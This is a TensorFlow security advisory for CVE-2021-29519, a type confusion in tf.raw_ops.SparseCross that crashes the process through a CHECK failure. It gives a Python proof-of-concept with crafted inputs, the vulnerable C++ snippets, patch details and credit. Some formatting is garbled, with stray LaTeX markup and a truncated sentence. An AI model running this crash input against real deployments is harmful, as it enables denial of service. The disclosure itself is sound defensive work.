# `CHECK`-fail in `SparseCross` due to type confusion

Low mihaimaruseac published GHSA-772j-h9xw-ffp5 on May 12, 2021

new tensorflow, tensorflow-cpu, tensorflow-gpu (pip) Patched versions < 2.5.0 2.1.4, 2.2.3, 2.3.3, 2.4.2

#### Description

#### Impact

import tensorflow as tf

The API of tf.raw\_ops.SparseCross allows combinations which would result in a CHECK -failure and denial of service:

```
hashed output = False
num_buckets = 1949315406
hash_key = 1869835877
out_type = tf.string
internal_type = tf.string
\label{eq:constant} \begin{split} & \text{indices\_1} = \text{tf.constant}([0, \, 6], \, \text{shape=[1, \, 2], \, dtype=tf.int64}) \\ & \text{indices\_2} = \text{tf.constant}([0, \, 0], \, \text{shape=[1, \, 2], \, dtype=tf.int64}) \\ & \text{indices} = [\text{indices\_1, indices\_2}] \end{split}
 values_1 = tf.constant([0], dtype=tf.int64)
values_2 = tf.constant([72], dtype=tf.int64)
values = [values_1, values_2]
batch_size = 4
shape_1 = tf.constant([4, 122], dtype=tf.int64)
shape_2 = tf.constant([4, 188], dtype=tf.int64)
 shapes = [shape_1, shape_2]
 dense_1 = tf.constant([188, 127, 336, 0], shape=[4, 1], dtype=tf.int64)
 dense_2 = tf.constant([341, 470, 470, 470], shape=[4, 1], dtype=tf.int64)
dense_3 = tf.constant([188, 188, 341, 922], shape=[4, 1], dtype=tf.int64)
denses = [dense_1, dense_2, dense_3]
tf.raw_ops.SparseCross(indices=indices, values=values, shapes=shapes, dense_inputs=denses, hashed_output=hashed_output, num_buckets=num_buckets, hash_key=hash_key, out_type=out_type, internal_type=internal_type)
```

The above code will result in a CHECK fail in tensor.cc:

```
void Tensor::CheckTypeAndIsAligned(DataType expected_dtype) const {
  CHECK_EQ(dtype(), expected_dtype)
       << " " << DataTypeString(expected_dtype) << " expected, got "
<< DataTypeString(dtype());</pre>
```

This is because the implementation is tricked to consider a tensor of type tstring which in fact contains integral elements:

```
if (DT_STRING == values_.dtype())
    return Fingerprint64(values_.vec<tstring>().data()[start + n]);
return values_.vec<int64>().data()[start + n];
```

Fixing the type confusion by preventing mixing DT\_STRING and DT\_INT64 types solves this issue.

# Patches

We have patched the issue in GitHub commit b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still

# For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

## Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

### Severity



#### CVE ID

CVE-2021-29519